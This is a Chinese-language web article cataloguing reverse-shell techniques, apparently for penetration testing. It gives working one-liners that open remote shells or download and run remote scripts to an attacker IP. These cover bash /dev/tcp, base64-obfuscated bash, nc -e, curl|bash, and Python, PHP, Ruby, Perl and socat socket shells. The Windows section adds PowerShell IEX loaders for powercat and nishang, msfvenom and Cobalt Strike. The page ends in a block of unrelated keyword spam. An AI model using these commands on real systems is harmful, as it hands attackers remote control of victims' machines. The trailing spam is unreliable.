千家信息网

反弹shell的方法有哪些

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,这篇文章主要介绍反弹shell的方法有哪些,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!前言什么是反弹shell(reverse shell)?就是控制端监听某TCP/UDP端
千家信息网最后更新 2025年01月20日反弹shell的方法有哪些

这篇文章主要介绍反弹shell的方法有哪些,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

前言

什么是反弹shell(reverse shell)?

就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么需要反弹shell?

反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。以下详细介绍Windows和Linux系统下反弹shell的几种方式。

一、linux下反弹shell

实验环境:

Win10 192.168.2.102 NC监听

Kali 192.168.2.103 自带工具

1. bash反弹

bash -i >& /dev/tcp/192.168.2.102/7777 0>&1

在特殊情况可以使用base64编码执行bash反弹shell

编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

在kali中执行会解析成编码前的bash命令

2.nc反弹

nc -e /bin/bash 192.168.2.102 4444

-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。

3.curl反弹

Kali开启apache服务,把bash命令写入html文件,只要文本包含bash一句话即可。

curl 192.168.2.103/bash.html|bash

4.whois反弹

whois -h 192.168.2.102 -p 4444 `pwd` //反弹的shell只能执行后面带的命令

5.python反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.102",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

6.PHP反弹

php反弹shell和python的方式差不多

php -r '$sock=fsockopen("192.168.2.102",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

7.ruby反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.2.102",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

8.socat反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.2.102:4444

9.Perl反弹

perl -e 'use Socket;$i="192.168.2.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

二、Windows下反弹shell

1. powercat反弹

①用IEX下载远程PS1脚本回来权限绕过执行

使用powershell执行IEX (New-Object

System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.2.103 -p 4444 -e cmd

② powercat下载地址:https://github.com/besimorhino/powercat //下载到本地执行

powercat为Powershell版的Netcat,实际上是一个powershell的函数,使用方法类似Netcat

2.NC反弹

服务端反弹:nc 192.168.2.103 4444 -e c:\windows\system32\cmd.exe

3.nishang反弹

Nishang下载地址:https://github.com/samratashok/nishang

Nishang是一个基于PowerShell的攻击框架,整合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell

将nishang下载到攻击者本地,在目标机使用powershell执行以下命令

IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.103 -port 4444

4.Reverse UDP shell

攻击机监听 nc -lvup 4444

利用上面下载的还是放在攻击机上在目标机中powershell执行以下命令

IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.103/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.2.103 -port 4444

5.MSF反弹

我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/windows/reverse),找出我们需要的各类反弹一句话payload的路径信息。

msfvenom -l payloads | grep 'cmd/windows/reverse'

依照前面查找出的命令生成一句话payload路径,我们使用如下的命令生成反弹一句话,然后复制粘贴到靶机上运行即可。

msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.2.103 LPORT=4444

靶机执行使用powershell执行payload

攻击机返回shell

6.Cobalt strike反弹shell

Cobalt strike的Scripted Web Delivery模块,可通过bitsadmin、powershell、python、regsvR32等进行反弹shell,类似metasploit的web_delivery模块

①运行服务端

./teamserver 192.168.2.103 123 #123为连接密码

②运行客户端:

Windows运行cobaltstrike.jar #用户名随便输入 密码123

③开启监听:

点击Cobalt Strike->Listeners

payload可选择windows/beacon_http/reverse_http

说明:其中windows/beacon 是Cobalt Strike自带的模块,包括dns,http,https,smb四种方式的监听器,windows/foreign 为外部监听器,即msf或者Armitage的监听器。

④生成powershell payload:

点击Attack -> Web Drive-by -> Scripted Web Delivery

Type选择 powershell

生成的payload:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.103:8887/a'))"

⑤生成代码已经给出了,在windows上执行

以上是"反弹shell的方法有哪些"这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注行业资讯频道!

命令 监听 攻击 生成 一句话 端口 服务 运行 方法 地址 方式 模块 监听器 目标 编码 代表 内容 客户 客户端 密码 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 税务网络安全员职责 国产服务器上市公司有哪些 软件开发测试抑郁症的表现 ddos服务器攻击原理 c查询oracle数据库 深信服网络技术挑战赛资料 济南盈科网络技术有限公司 个人服务器需要什么硬件 网络安全法重点条款 云服务器搭建全部步骤 昌平区口碑好的软件开发诚信服务 网络安全技能表格 如何把软件安装在云服务器 国家网络安全应急预案 网络技术的工作时间 西安软件开发科技学院学费 关于网络安全治安法律 服务器端口开启后数据阻塞 保卫菠萝软件开发参加节目 芜湖安卓软件开发定制 丹东假盘古网络技术有限公司 网络安全法制宣传周手抄报图片 幻塔服务器红石塔 网络安全人员培训试题 依法负有网络安全..... 启东有口碑的网络技术排名靠前 报考软件开发工程师 黄浦区信息网络技术服务 西安软件开发科技学院学费 考勤表和工资表数据库
0